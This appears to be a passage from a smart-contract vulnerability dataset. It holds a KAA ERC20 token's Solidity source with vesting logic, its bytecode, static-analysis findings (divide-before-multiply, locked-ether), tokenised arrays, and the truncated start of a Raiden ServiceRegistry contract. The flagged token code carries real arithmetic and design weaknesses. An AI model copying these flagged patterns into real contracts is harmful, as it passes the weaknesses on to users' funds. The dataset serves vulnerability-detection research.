ERC20,Ownable{ using SafeMath for uint256; //the base info of the token string public constant name="KAA"; string public constant symbol="KAA"; string public constant version = "1.0"; uint256 public constant decimals = 18; //平台基金13395000000 uint256 public constant PLATFORM_FUNDING_SUPPLY=13395000000*10**decimals; //创始团队13395000000 uint256 public constant TEAM_KEEPING=13395000000*10**decimals; //战略伙伴8037000000 uint256 public constant COOPERATE_REWARD=8037000000*10**decimals; //分享奖励8930000000 uint256 public constant SHARDING_REWARD=8930000000*10**decimals; //挖矿奖励45543000000 uint256 public constant MINING_REWARD=45543000000*10**decimals; //可普通提现额度8930000000+45543000000=54473000000 uint256 public constant COMMON_WITHDRAW_SUPPLY=SHARDING_REWARD+MINING_REWARD; //总发行54473000000+13395000000+13395000000+8037000000=89300000000 uint256 public constant MAX_SUPPLY=COMMON_WITHDRAW_SUPPLY+PLATFORM_FUNDING_SUPPLY+TEAM_KEEPING+COOPERATE_REWARD; //基准时间 uint256 startTime; //解锁步长(30天) uint256 unlockStepLong; //平台已提现 uint256 platformFundingSupply; //平台每期可提现 uint256 platformFundingPerEpoch; //团队已提现 uint256 teamKeepingSupply; //团队每期可提现 uint256 teamKeepingPerEpoch; //战略伙伴已经分发额度 uint256 public cooperateRewardSupply; //已经普通提现量 uint256 public totalCommonWithdrawSupply; //战略伙伴锁仓总额度 mapping(address=>uint256) public lockAmount; //ERC20的余额 mapping(address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; constructor() public{ totalSupply = 0 ; platformFundingSupply=0; teamKeepingSupply=0; cooperateRewardSupply=0; totalCommonWithdrawSupply=0; platformFundingPerEpoch=372083333; teamKeepingPerEpoch=372083333; //初始时间 20180818 startTime = 1534521600; unlockStepLong=2592000; } event CreateKAA(address indexed _to, uint256 _value); modifier notReachTotalSupply(uint256 _value){ assert(MAX_SUPPLY>=totalSupply.add(_value)); _; } //平台最大提现额度 modifier notReachPlatformFundingSupply(uint256 _value){ assert(PLATFORM_FUNDING_SUPPLY>=platformFundingSupply.add(_value)); _; } modifier notReachTeamKeepingSupply(uint256 _value){ assert(TEAM_KEEPING>=teamKeepingSupply.add(_value)); _; } modifier notReachCooperateRewardSupply(uint256 _value){ assert(COOPERATE_REWARD>=cooperateRewardSupply.add(_value)); _; } modifier notReachCommonWithdrawSupply(uint256 _value){ assert(COMMON_WITHDRAW_SUPPLY>=totalCommonWithdrawSupply.add(_value)); _; } //统一代币分发函数,内部使用 function processFunding(address receiver,uint256 _value) internal notReachTotalSupply(_value) { uint256 amount=_value; totalSupply=totalSupply.add(amount); balances[receiver]=balances[receiver].add(amount); emit CreateKAA(receiver,amount); emit Transfer(0x0, receiver, amount); } //普通分发,给分享和挖矿使用 function commonWithdraw(uint256 _value) external onlyOwner notReachCommonWithdrawSupply(_value) { processFunding(msg.sender,_value); //增加已经普通提现份额 totalCommonWithdrawSupply=totalCommonWithdrawSupply.add(_value); } //平台基金提币(不持币锁仓,36期释放) function withdrawToPlatformFunding(uint256 _value) external onlyOwner notReachPlatformFundingSupply(_value) { //判断可提现额度是否足够 if (!canPlatformFundingWithdraw(_value)) { revert(); }else{ processFunding(msg.sender,_value); //平台已提现额度 platformFundingSupply=platformFundingSupply.add(_value); } } //团队提币(不持币锁仓,36期释放) function withdrawToTeam(uint256 _value) external onlyOwner notReachTeamKeepingSupply(_value) { //判断可提现额度是否足够 if (!canTeamKeepingWithdraw(_value)) { revert(); }else{ processFunding(msg.sender,_value); //团队已提现额度 teamKeepingSupply=teamKeepingSupply.add(_value); } } //提币给战略伙伴(持币锁仓,36期释放) function withdrawToCooperate(address _to,uint256 _value) external onlyOwner notReachCooperateRewardSupply(_value) { processFunding(_to,_value); cooperateRewardSupply=cooperateRewardSupply.add(_value); //记录分发份额 lockAmount[_to]=lockAmount[_to].add(_value); } //平台是否可提现 function canPlatformFundingWithdraw(uint256 _value)internal view returns (bool) { //当前期数=(现时间-初始时间)/期数步长 uint256 epoch=now.sub(startTime).div(unlockStepLong); //如果超出36期时间,那么就设置为36 if (epoch>36) { epoch=36; } //计算已经释放额度 = 每期可提现额度*期数 uint256 releaseAmount = platformFundingPerEpoch.mul(epoch); //计算可提现额度=已经释放额度-已经提现额度 uint256 canWithdrawAmount=releaseAmount.sub(platformFundingSupply); if(canWithdrawAmount>=_value){ return true; }else{ return false; } } function canTeamKeepingWithdraw(uint256 _value)internal view returns (bool) { //当前期数=(现时间-初始时间)/期数步长 uint256 epoch=now.sub(startTime).div(unlockStepLong); //如果超出36期时间,那么就设置为36 if (epoch>36) { epoch=36; } //计算已经释放额度 = 每期可提现额度*期数 uint256 releaseAmount=teamKeepingPerEpoch.mul(epoch); //计算可提现额度=已经释放额度-已经提现额度 uint256 canWithdrawAmount=releaseAmount.sub(teamKeepingSupply); if(canWithdrawAmount>=_value){ return true; }else{ return false; } } function clacCooperateNeedLockAmount(uint256 totalLockAmount)internal view returns (uint256) { //当前期数=(现时间-初始时间)/期数步长 uint256 epoch=now.sub(startTime).div(unlockStepLong); //如果超出36期时间,那么就设置为36 if (epoch>36) { epoch=36; } //剩余期数 uint256 remainingEpoch=uint256(36).sub(epoch); //计算每期可释放转账额度(总分发额度/36) uint256 cooperatePerEpoch= totalLockAmount.div(36); //计算剩余锁仓额度(每期可释放转账额度*剩余期数) return cooperatePerEpoch.mul(remainingEpoch); } function () payable external { revert(); } //转账前,先校验减去转出份额后,是否大于等于锁仓份额 function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); //计算锁仓份额 uint256 needLockBalance=0; if (lockAmount[msg.sender]>0) { needLockBalance=clacCooperateNeedLockAmount(lockAmount[msg.sender]); } require(balances[msg.sender].sub(_value)>=needLockBalance); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } //从委托人账上转出份额时,还要判断委托人的余额-转出份额是否大于等于锁仓份额 function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); //计算锁仓份额 uint256 needLockBalance=0; if (lockAmount[_from]>0) { needLockBalance=clacCooperateNeedLockAmount(lockAmount[_from]); } require(balances[_from].sub(_value)>=needLockBalance); uint256 _allowance = allowed[_from][msg.sender]; balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } }
0x60806040526004361061015f576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610164578063095ea7b3146101f457806318160ddd1461025957806322dd0d2c1461028457806323b872dd146102af5780632f9021fd14610334578063313ce5671461038157806332cb6b0c146103ac5780633a3b0382146103d757806354fd4d501461040257806356fb46d71461049257806370a08231146104bd578063715018a614610514578063893b746a1461052b5780638da5cb5b1461055657806395bc3bd0146105ad57806395d89b41146106045780639bb1dbea14610694578063a62d9ba3146106c1578063a8469ce9146106ee578063a9059cbb14610719578063b8fbb72d1461077e578063cd836e15146107a9578063d77da4f4146107d4578063dd62ed3e14610801578063f2fde38b14610878578063f77404e5146108bb575b600080fd5b34801561017057600080fd5b506101796108e6565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101b957808201518184015260208101905061019e565b50505050905090810190601f1680156101e65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561020057600080fd5b5061023f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061091f565b604051808215151515815260200191505060405180910390f35b34801561026557600080fd5b5061026e610a11565b6040518082815260200191505060405180910390f35b34801561029057600080fd5b50610299610a17565b6040518082815260200191505060405180910390f35b3480156102bb57600080fd5b5061031a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a26565b604051808215151515815260200191505060405180910390f35b34801561034057600080fd5b5061037f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e0b565b005b34801561038d57600080fd5b50610396610f52565b6040518082815260200191505060405180910390f35b3480156103b857600080fd5b506103c1610f57565b6040518082815260200191505060405180910390f35b3480156103e357600080fd5b506103ec610f9a565b6040518082815260200191505060405180910390f35b34801561040e57600080fd5b50610417610fa9565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561045757808201518184015260208101905061043c565b50505050905090810190601f1680156104845780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561049e57600080fd5b506104a7610fe2565b6040518082815260200191505060405180910390f35b3480156104c957600080fd5b506104fe600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ff1565b6040518082815260200191505060405180910390f35b34801561052057600080fd5b5061052961103a565b005b34801561053757600080fd5b5061054061113f565b6040518082815260200191505060405180910390f35b34801561056257600080fd5b5061056b611145565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105b957600080fd5b506105ee600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061116b565b6040518082815260200191505060405180910390f35b34801561061057600080fd5b50610619611183565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561065957808201518184015260208101905061063e565b50505050905090810190601f1680156106865780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156106a057600080fd5b506106bf600480360381019080803590602001909291905050506111bc565b005b3480156106cd57600080fd5b506106ec6004803603810190808035906020019092919050505061127a565b005b3480156106fa57600080fd5b5061070361133f565b6040518082815260200191505060405180910390f35b34801561072557600080fd5b50610764600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061134e565b604051808215151515815260200191505060405180910390f35b34801561078a57600080fd5b5061079361161e565b6040518082815260200191505060405180910390f35b3480156107b557600080fd5b506107be61163a565b6040518082815260200191505060405180910390f35b3480156107e057600080fd5b506107ff60048036038101908080359060200190929190505050611649565b005b34801561080d57600080fd5b50610862600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061170e565b6040518082815260200191505060405180910390f35b34801561088457600080fd5b506108b9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611795565b005b3480156108c757600080fd5b506108d06117fd565b6040518082815260200191505060405180910390f35b6040805190810160405280600381526020017f4b4141000000000000000000000000000000000000000000000000000000000081525081565b600081600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b6012600a0a64031e677ac00281565b60008060008073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614151515610a6657600080fd5b600091506000600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115610afd57610afa600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611803565b91505b81610b5085600b60008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188b90919063ffffffff16565b10151515610b5d57600080fd5b600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610c2e84600b60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188b90919063ffffffff16565b600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610cc384600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118a490919063ffffffff16565b600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d19848261188b90919063ffffffff16565b600c60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a36001925050509392505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e6757600080fd5b80610e7d816008546118a490919063ffffffff16565b6012600a0a6401df0ae3400210151515610e9357fe5b610e9d83836118c2565b610eb2826008546118a490919063ffffffff16565b600881905550610f0a82600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118a490919063ffffffff16565b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b601281565b6012600a0a6401df0ae340026012600a0a64031e677ac0026012600a0a64031e677ac0026012600a0a640a9a9307c0026012600a0a64021444fc80020101010181565b6012600a0a64031e677ac00281565b6040805190810160405280600381526020017f312e30000000000000000000000000000000000000000000000000000000000081525081565b6012600a0a6401df0ae3400281565b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561109657600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60085481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a6020528060005260406000206000915090505481565b6040805190810160405280600381526020017f4b4141000000000000000000000000000000000000000000000000000000000081525081565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561121857600080fd5b8061122e816009546118a490919063ffffffff16565b6012600a0a640a9a9307c0026012600a0a64021444fc8002011015151561125157fe5b61125b33836118c2565b611270826009546118a490919063ffffffff16565b6009819055505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156112d657600080fd5b806112ec816004546118a490919063ffffffff16565b6012600a0a64031e677ac0021015151561130257fe5b61130b82611a7b565b151561131657600080fd5b61132033836118c2565b611335826004546118a490919063ffffffff16565b6004819055505050565b6012600a0a640a9a9307c00281565b600080600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561138d57600080fd5b600090506000600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561142457611421600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611803565b90505b8061147784600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188b90919063ffffffff16565b1015151561148457600080fd5b6114d683600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188b90919063ffffffff16565b600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061156b83600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118a490919063ffffffff16565b600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b6012600a0a640a9a9307c0026012600a0a64021444fc80020181565b6012600a0a64021444fc800281565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156116a557600080fd5b806116bb816006546118a490919063ffffffff16565b6012600a0a64031e677ac002101515156116d157fe5b6116da82611b07565b15156116e557600080fd5b6116ef33836118c2565b611704826006546118a490919063ffffffff16565b6006819055505050565b6000600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156117f157600080fd5b6117fa81611b93565b50565b60095481565b6000806000806118326003546118246002544261188b90919063ffffffff16565b611c8f90919063ffffffff16565b9250602483111561184257602492505b61185683602461188b90919063ffffffff16565b915061186c602486611c8f90919063ffffffff16565b90506118818282611caa90919063ffffffff16565b9350505050919050565b600082821115151561189957fe5b818303905092915050565b60008082840190508381101515156118b857fe5b8091505092915050565b6000816118da816000546118a490919063ffffffff16565b6012600a0a6401df0ae340026012600a0a64031e677ac0026012600a0a64031e677ac0026012600a0a640a9a9307c0026012600a0a64021444fc8002010101011015151561192457fe5b82915061193c826000546118a490919063ffffffff16565b60008190555061199482600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118a490919063ffffffff16565b600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff167f6cc77244aa51799bf538e95510e668154c2d4cef009bcb38fba292b710245ee2836040518082815260200191505060405180910390a28373ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505050565b600080600080611aaa600354611a9c6002544261188b90919063ffffffff16565b611c8f90919063ffffffff16565b92506024831115611aba57602492505b611acf83600554611caa90919063ffffffff16565b9150611ae66004548361188b90919063ffffffff16565b90508481101515611afa5760019350611aff565b600093505b505050919050565b600080600080611b36600354611b286002544261188b90919063ffffffff16565b611c8f90919063ffffffff16565b92506024831115611b4657602492505b611b5b83600754611caa90919063ffffffff16565b9150611b726006548361188b90919063ffffffff16565b90508481101515611b865760019350611b8b565b600093505b505050919050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611bcf57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000808284811515611c9d57fe5b0490508091505092915050565b6000806000841415611cbf5760009150611cde565b8284029050828482811515611cd057fe5b04141515611cda57fe5b8091505b50929150505600a165627a7a723058208741f410d5c42b3ccee58fd7f8e173b86fb6ba2ff6f006157cf3d34547aec82f0029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'locked-ether', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 16086, 2063, 2575, 2581, 2063, 2575, 22022, 10354, 2692, 6858, 26337, 7875, 2487, 2050, 22610, 7959, 21486, 18613, 2549, 6679, 2581, 2497, 23352, 2850, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2484, 1025, 3206, 9413, 2278, 11387, 22083, 2594, 1063, 21318, 3372, 17788, 2575, 2270, 21948, 6279, 22086, 1025, 3853, 5703, 11253, 1006, 4769, 2040, 1007, 2270, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 4651, 1006, 4769, 2000, 1010, 21318, 3372, 17788, 2575, 3643, 1007, 2270, 5651, 1006, 22017, 2140, 1007, 1025, 2724, 4651, 1006, 4769, 25331, 2013, 1010, 4769, 25331, 2000, 1010, 21318, 3372, 17788, 2575, 3643, 1007, 1025, 1065, 3206, 9413, 2278, 11387, 2003, 9413, 2278, 11387, 22083, 2594, 1063, 3853, 21447, 1006, 4769, 3954, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,011
0x960f01e9e219e1c8564784a050fd1ca51651592d
pragma solidity 0.6.4; /// @title Utils /// @notice Utils contract for various helpers used by the Raiden Network smart /// contracts. contract Utils { enum MessageTypeId { None, BalanceProof, BalanceProofUpdate, Withdraw, CooperativeSettle, IOU, MSReward } /// @notice Check if a contract exists /// @param contract_address The address to check whether a contract is /// deployed or not /// @return True if a contract exists, false otherwise function contractExists(address contract_address) public view returns (bool) { uint size; assembly { size := extcodesize(contract_address) } return size > 0; } } interface Token { /// @return supply total amount of tokens function totalSupply() external view returns (uint256 supply); /// @param _owner The address from which the balance will be retrieved /// @return balance The balance function balanceOf(address _owner) external view returns (uint256 balance); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return success Whether the transfer was successful or not function transfer(address _to, uint256 _value) external returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return success Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) external returns (bool success); /// @notice `msg.sender` approves `_spender` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return success Whether the approval was successful or not function approve(address _spender, uint256 _value) external returns (bool success); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return remaining Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) external view returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); // Optionally implemented function to show the number of decimals for the token function decimals() external view returns (uint8 decimals); } contract ServiceRegistryConfigurableParameters { address public controller; modifier onlyController() { require(msg.sender == controller, "caller is not the controller"); _; } // After a price is set to set_price at timestamp set_price_at, // the price decays according to decayedPrice(). uint256 public set_price; uint256 public set_price_at; /// The amount of time (in seconds) till the price decreases to roughly 1/e. uint256 public decay_constant = 200 days; // Once the price is at min_price, it can't decay further. uint256 public min_price = 1000; // Whenever a deposit comes in, the price is multiplied by numerator / denominator. uint256 public price_bump_numerator = 1; uint256 public price_bump_denominator = 1; // The duration of service registration/extension in seconds uint256 public registration_duration = 180 days; // If true, new deposits are no longer accepted. bool public deprecated = false; function setDeprecationSwitch() public onlyController returns (bool _success) { deprecated = true; return true; } function changeParameters( uint256 _price_bump_numerator, uint256 _price_bump_denominator, uint256 _decay_constant, uint256 _min_price, uint256 _registration_duration ) public onlyController returns (bool _success) { changeParametersInternal( _price_bump_numerator, _price_bump_denominator, _decay_constant, _min_price, _registration_duration ); return true; } function changeParametersInternal( uint256 _price_bump_numerator, uint256 _price_bump_denominator, uint256 _decay_constant, uint256 _min_price, uint256 _registration_duration ) internal { refreshPrice(); setPriceBumpParameters(_price_bump_numerator, _price_bump_denominator); setMinPrice(_min_price); setDecayConstant(_decay_constant); setRegistrationDuration(_registration_duration); } // Updates set_price to be currentPrice() and set_price_at to be now function refreshPrice() private { set_price = currentPrice(); set_price_at = now; } function setPriceBumpParameters( uint256 _price_bump_numerator, uint256 _price_bump_denominator ) private { require(_price_bump_denominator > 0, "divide by zero"); require(_price_bump_numerator >= _price_bump_denominator, "price dump instead of bump"); require(_price_bump_numerator < 2 ** 40, "price dump numerator is too big"); price_bump_numerator = _price_bump_numerator; price_bump_denominator = _price_bump_denominator; } function setMinPrice(uint256 _min_price) private { // No checks. Even allowing zero. min_price = _min_price; // No checks or modifications on set_price. // Even if set_price is smaller than min_price, currentPrice() function returns min_price. } function setDecayConstant(uint256 _decay_constant) private { require(_decay_constant > 0, "attempt to set zero decay constant"); require(_decay_constant < 2 ** 40, "too big decay constant"); decay_constant = _decay_constant; } function setRegistrationDuration(uint256 _registration_duration) private { // No checks. Even allowing zero (when no new registrations are possible). registration_duration = _registration_duration; } /// @notice The amount to deposit for registration or extension /// Note: the price moves quickly depending on what other addresses do. /// The current price might change after you send a `deposit()` transaction /// before the transaction is executed. function currentPrice() public view returns (uint256) { require(now >= set_price_at, "An underflow in price computation"); uint256 seconds_passed = now - set_price_at; return decayedPrice(set_price, seconds_passed); } /// @notice Calculates the decreased price after a number of seconds /// @param _set_price The initial price /// @param _seconds_passed The number of seconds passed since the initial /// price was set function decayedPrice(uint256 _set_price, uint256 _seconds_passed) public view returns (uint256) { // We are here trying to approximate some exponential decay. // exp(- X / A) where // X is the number of seconds since the last price change // A is the decay constant (A = 200 days corresponds to 0.5% decrease per day) // exp(- X / A) ~~ P / Q where // P = 24 A^4 // Q = 24 A^4 + 24 A^3X + 12 A^2X^2 + 4 AX^3 + X^4 // Note: swap P and Q, and then think about the Taylor expansion. uint256 X = _seconds_passed; if (X >= 2 ** 40) { // The computation below overflows. return min_price; } uint256 A = decay_constant; uint256 P = 24 * (A ** 4); uint256 Q = P + 24*(A**3)*X + 12*(A**2)*(X**2) + 4*A*(X**3) + X**4; // The multiplication below is not supposed to overflow because // _set_price should be at most 2 ** 90 and // P should be at most 24 * (2 ** 40). uint256 price = _set_price * P / Q; // Not allowing a price smaller than min_price. // Once it's too low it's too low forever. if (price < min_price) { price = min_price; } return price; } } contract Deposit { // This contract holds ERC20 tokens as deposit until a predetemined point of time. // The ERC20 token contract that the deposit is about. Token public token; // The address of ServiceRegistry contract that this deposit is associated with. // If the address has no code, service_registry.deprecated() call will fail. ServiceRegistryConfigurableParameters service_registry; // The address that can withdraw the deposit after the release time. address public withdrawer; // The timestamp after which the withdrawer can withdraw the deposit. uint256 public release_at; /// @param _token The address of the ERC20 token contract where the deposit is accounted /// @param _release_at The timestap after which the withdrawer can withdraw the deposit /// @param _withdrawer The address that can withdraw the deposit after the release time /// @param _service_registry The address of ServiceRegistry whose deprecation enables immediate withdrawals constructor(address _token, uint256 _release_at, address _withdrawer, address _service_registry) public { token = Token(_token); // Don't care even if it's in the past. release_at = _release_at; withdrawer = _withdrawer; service_registry = ServiceRegistryConfigurableParameters(_service_registry); } // In order to make a deposit, transfer the ERC20 token into this contract. // If you transfer a wrong kind of ERC20 token or ETH into this contract, // these tokens will be lost forever. /// @notice Withdraws the tokens that have been deposited /// Only `withdrawer` can call this. /// @param _to The address where the withdrawn tokens should go function withdraw(address payable _to) external { uint256 balance = token.balanceOf(address(this)); require(msg.sender == withdrawer, "the caller is not the withdrawer"); require(now >= release_at || service_registry.deprecated(), "deposit not released yet"); require(balance > 0, "nothing to withdraw"); require(token.transfer(_to, balance), "token didn't transfer"); selfdestruct(_to); // The contract can disappear. } } contract ServiceRegistry is Utils, ServiceRegistryConfigurableParameters { Token public token; mapping(address => uint256) public service_valid_till; mapping(address => string) public urls; // URLs of services for HTTP access // An append-only list of addresses that have ever made a deposit. // Starting from this list, all alive registrations can be figured out. address[] public ever_made_deposits; // @param service The address of the registered service provider // @param valid_till The timestamp of the moment when the registration expires // @param deposit_amount The amount of deposit transferred // @param deposit The address of Deposit instance where the deposit is stored event RegisteredService(address indexed service, uint256 valid_till, uint256 deposit_amount, Deposit deposit_contract); // @param _token_for_registration The address of the ERC20 token contract that services use for registration fees // @param _controller The address that can change parameters and deprecate the ServiceRegistry // @param _initial_price The amount of tokens needed initially for a slot // @param _price_bump_numerator The ratio of price bump after deposit is made (numerator) // @param _price_bump_denominator The ratio of price bump after deposit is made 